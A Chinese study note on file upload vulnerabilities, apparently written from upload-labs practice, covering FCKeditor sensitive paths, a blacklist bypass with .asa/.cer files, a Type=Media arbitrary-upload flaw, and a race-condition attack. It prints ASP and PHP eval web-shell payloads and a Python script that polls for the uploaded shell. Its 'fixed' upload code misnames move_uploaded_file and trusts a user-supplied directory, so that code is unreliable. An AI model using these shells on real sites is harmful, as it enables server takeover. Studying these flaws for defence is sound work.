END的学习文件上传漏洞2

    科技2022-08-15  113

    文本编辑器上传漏洞

    FCKeditor(现改名为CKEditor):一个开源代码的文字编辑器,可以适用于ASP/PHP/ASPX/JSP等脚本类型的网站,FCKeditor目前版本为4.x.x。

    1,敏感信息暴露 (1)查看版本信息 /FCKeditor/editor/dialog/fck_about.html

    (2)默认上传界面 /FCKeditor/editor/filemanager/browser/default/browser.html

    /FCKeditor/editor/filemanager/browser/default/connectors/test.html

    /FCKeditor/editor/filemanager/upload/test.html

    /FCKeditor/editor/filemanager/connectors/test.html

    /FCKeditor/editor/filemanager/connectors/uploadtest.html

    (3)其他敏感文件 /FCKeditor/editor/filemanager/connectors/aspx/connector.aspx /FCKeditor/editor/filemanager/connectors/asp/connector.asp /FCKeditor/editor/filemanager/connectors/php/connector.php

    2,黑名单错误 FCKeditor<=2.4.3版本的时候,采用黑名单机制,忽略了asa,cer拓展名的风险。

    asa是文件后缀名,它是Active Server Application的首字母缩写。Global.asa文件可以管理在ASP应用中两个非常苛刻的对象:Application、Session Global.asa文件主要基于会话级事件被访问,在以下三种情况下被调用: 1,当Application_OnStart或Application_OnEnd事件被触发。 2,当Session_OnStart或Session_OnEnd事件被触发。 3,当引用一个在Global.asa文件里被实例化的对象(Object)。

    <% execute request(“a”)%>a

    3.任意文件上传漏洞 FCKeditor<=2.4.2的版本存在一下漏洞

    关键代码: if (!in_array($sType,array(‘File’,‘Image’,‘Flash’,‘Media’))) //验证文件类型是否是内置类型。 格式配置在config.php文件中。但是该文件里面没有定义类型Media,这意味着可以上传任何类型文件。

    方法:使用brupsuite拦截信息,将请求地址改为upload.php?Type=Media

    修复上传漏洞

    上传漏洞形成原因主要是: 1,目录过滤不严,攻击者可能建立畸形目录; 2,文件未重命名,攻击者可能利用Web容器解析漏洞。

    减少文件上传漏洞的风险 ①接收文件及其文件临时路劲 ②获取拓展名与白名单做对比,如果没有命令,程序退出 ③对文件进行重命名 以下是示例代码

    <?php if(!isset($_POST['submit'])){ exit(); } $arr= Array('jpg','gif','jpeg','png','rar','zip','doc','docx');//白名单 $imageTempName=$_FILES['file']['tmp_name'];//接收临时文件的路径 $imageName=$_FILES['file']['name'];//接收文件的名称 $last= strtolower(substr($imageName,strrpos($imageName,".")+1));//取得拓展名,转换为小写 if(!in_array($last,$arr)){ exit("不支持上传的拓展名 . $last ..."); } $Extension = $_POST['Extension']; //获取文件上传目录 $imageName = md5($imageName). "." . $last ;//对文件重命名 move_upload_file($imageTempName,"./$Extension/".$imageName); echo("文件上传成功!!path = /$Extension/$imageName"); ?>

    条件竞争

    验证过程:服务器先将上传的文件保存在临时目录中,然后再对后缀名进行白名单验证,并重命名。 rename(string $oldname,string $newname [,resource $context])//把oldname重命名为newname

    解法利用burpsuite。 写一个php不断上传文件,在文件还没被删除前去读取文件,则还没被删除前去读取文件,解析之后会写入一个内容为``的shell.php文件

    <?PHP echo md5(1);fputs(fopen('shell.php','w'),'<?php @eval($_POST["X"])?>');?>

    python脚本出现ok代表成功上传了: import requests def main(): i=0 while 1: try: print(i,end=’\r’) a = requests.get(“http://127.0.0.1/upload-labs-master/upload/18pass.php”) if “c4ca4238a0b923820dcc509a6f75849b” in a.text: print(“OK”) break except Exception as e: pass i+=1 if name == ‘main’: main()

    Processed: 0.010, SQL: 8